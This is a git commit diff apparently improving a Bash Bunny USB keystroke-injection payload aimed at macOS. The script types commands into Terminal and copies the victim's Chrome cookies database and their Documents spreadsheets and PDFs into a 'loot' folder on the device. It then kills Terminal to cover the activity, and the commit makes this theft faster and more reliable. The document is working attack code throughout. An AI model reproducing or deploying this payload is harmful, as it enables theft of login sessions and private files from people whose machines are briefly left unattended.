fixes broken code

- fixes lootdir path
  - dont capitalize var names that aren't exported
  - indentation
  - escape shell characters that are passed to QUACK
  - account for variable copy times by joining cp and exit commands
  - sync the disk
This commit is contained in:
Alex Flores
2017-03-13 14:33:31 -04:00
parent 889723f455
commit 0fd8973e12

View File

@@ -15,36 +15,38 @@
LED G R LED G R
ATTACKMODE HID STORAGE ATTACKMODE HID STORAGE
LOOTDIR=/root/udisk/loot/MacLoot
mkdir -p $LOOTDIR lootdir=loot/MacLoot
mkdir -p /root/udisk/$lootdir
QUACK GUI SPACE QUACK GUI SPACE
QUACK DELAY 1000 QUACK DELAY 1000
QUACK STRING terminal QUACK STRING terminal
QUACK ENTER QUACK ENTER
QUACK DELAY 8000 QUACK DELAY 5000
QUACK STRING mkdir -p /Volumes/BashBunny/$LOOTDIR/xlsx QUACK STRING mkdir -p /Volumes/BashBunny/$lootdir/xlsx
QUACK ENTER QUACK ENTER
QUACK DELAY 500 QUACK DELAY 500
QUACK STRING cat ~/Library/Application Support/Google/Chrome/Default/Cookies > /Volumes/BashBunny/$LOOTDIR/chromecookies.db QUACK STRING cat \~/Library/Application\\ Support/Google/Chrome/Default/Cookies \>
/Volumes/BashBunny/$lootdir/chromecookies.db
QUACK ENTER QUACK ENTER
QUACK DELAY 1000 QUACK DELAY 1000
QUACK STRING cd ~/Documents && cp *.xlsx *.xls /Volumes/BashBunny/$LOOTDIR/xlsx/ QUACK STRING cp \~/Documents/{*.xlsx,*.xls,*.pdf} /Volumes/BashBunny/$lootdir/xlsx/\; killall Terminal
QUACK ENTER
QUACK DELAY 1000
QUACK GUI q
QUACK DELAY 500
QUACK ENTER QUACK ENTER
# Sync filesystem
sync
# Green LED for finished # Green LED for finished
LED G LED G
files=$(ls /Volumes/BashBunny/$LOOTDIR/xlsx/*.xls 2> /dev/null | wc -l) files=$(ls /Volumes/BashBunny/$lootdir/xlsx/*.xls 2> /dev/null | wc -l)
files2=$(ls /Volumes/BashBunny/$LOOTDIR/xlsx/*.xlsx 2> /dev/null | wc -l) files2=$(ls /Volumes/BashBunny/$lootdir/xlsx/*.xlsx 2> /dev/null | wc -l)
if [ "$files" != "0" -o "$files2" != "0"]
then if [ "$files" != "0" -o "$files2" != "0"]; then
# Got spreadsheet files # Got spreadsheet files
LED R B LED R B
else else
LED R LED R
# No spread sheets # No spread sheets
fi fi